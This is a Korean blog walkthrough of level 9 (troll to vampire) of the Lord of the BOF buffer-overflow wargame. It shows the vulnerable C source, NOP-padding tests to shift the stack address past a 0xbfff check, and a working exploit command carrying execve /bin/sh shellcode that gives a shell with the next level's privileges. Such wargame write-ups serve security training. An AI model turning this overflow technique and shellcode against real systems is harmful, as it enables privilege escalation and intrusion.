본문 바로가기
스터디/wargames

[BOF-Wargames] LOB Load of BOF LEVEL9 (troll -> vampire) 문제풀이

by 깝태 2011. 8. 19.

-------------------------------------------------------------------------------------------------------------------------
LOB Level9 [ Troll -> Vampire ]
-------------------------------------------------------------------------------------------------------------------------

[troll@localhost troll]$ ./vampire
argv error
[troll@localhost troll]$ ./vampire aa
stack is still your friend.
[troll@localhost troll]$ cat vampire.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n"); // 이번에는 마지막 문자 전이 \xff 인지 검사합니다. 맞으면 종료된다.
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

고로 이번에는 RET 의 마지막을 \xbf 라고 하고, 그 다음은 \xff 가 아닌 다른 문자열을 집어넣어야된다는 말입니다.
과연 어떤 방법을 써야할까요...? 일단 메모리 구조를 다시 한번 보겠습니다.

Buffer (40Byte) | SFP (4Byte) | RET (4Byte) | Argc Argv[0] Argv[1] Argv[2] |

이렇게 되어있는데 저는 여태까지 Argv[2] 에 NOP 와 쉘코드를 넣어주었습니다.
그리고 Argv[1] 에서 RET 를 조작할때 Argv[2] 의 주소를 조작하였습니다. 그런데 보통 소스에서 수정해서
주소를 출력하게 해주었는데, 그게 시작주소건 어떤 주소건 만약 앞에 있는 값이 많으면 많을수록 주소는 더욱
뒤로 밀려나게될것이고 \xbf ff ** ** 뒤로도 밀려나게될것입니다.

그러니깐 한 마디로 NOP 를 더 무진장 많이 넣어보자는 말입니다.
그러면 일단 사본파일에 Argv[2] 를 넣어보고 과연 얼만큼 넣어야지 주소 값이 더 크게 나올지 테스트해보겠습니다.

printf("0x%x\n", argv[2]); <-- 구문을 넣어 테스트해보았더니 아래와 같은 결과가 나왔습니다.

[troll@localhost xodnr]$ ./vampire `python -c 'print "\xbf"*48'` `python -c 'print "\x90"*30000'`
0xbfff877f
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)

평소에 NOP 를 30000개 씩이나 넣어줘보았습니다. 어디 한번 더 넣어볼까요?

[troll@localhost xodnr]$ ./vampire `python -c 'print "\xbf"*48'` `python -c 'print "\x90"*50000'`
0xbfff395f
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)

[troll@localhost xodnr]$ ./vampire `python -c 'print "\xbf"*48'` `python -c 'print "\x90"*80000'`
0xbffec42f
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)

[troll@localhost xodnr]$ ./vampire `python -c 'print "\xbf"*48'` `python -c 'print "\x90"*100000'`
0xbffe760f
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)

보시다시피 80000개를, NOP 값을 8만개 넣어줬을때부터 bf fe 76 0f 이렇게 값이 달라지게되고
추가된 if 문인 \xff 를 검사하는 조건또한 뛰어넘을 수 있습니다.

그러면 어디 한번 공략해보겠습니다.

[troll@localhost xodnr]$ ./vampire `python -c 'print "\xbf"*48'` `python -c 'print "\x90"*80000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
0xbffec416
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)

주소가 나왔습니다. 위 주소로 Argv[1] 에서 RET 의 값을 조작하고 넘겨줘보겠습니다.

[troll@localhost xodnr]$ ./vampire `python -c 'print "\xbf"*44 + "\x16\xc4\xfe\xbf"'` `python -c 'print "\x90"*80000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
0xbffec416
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿Äþ¿
bash$ exit

성공적으로 쉘이 떴으니 원본파일에서 실행해봅시다.

[troll@localhost xodnr]$ cd ..

[troll@localhost troll]$ ./vampire `python -c 'print "\xbf"*44 + "\x16\xc4\xfe\xbf"'` `python -c 'print "\x90"*80000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿Äþ¿

bash$ id
uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll)

bash$ my-pass
euid = 509
[ 패스워드 ]

성공적으로 문제가 풀어졌습니다! ^^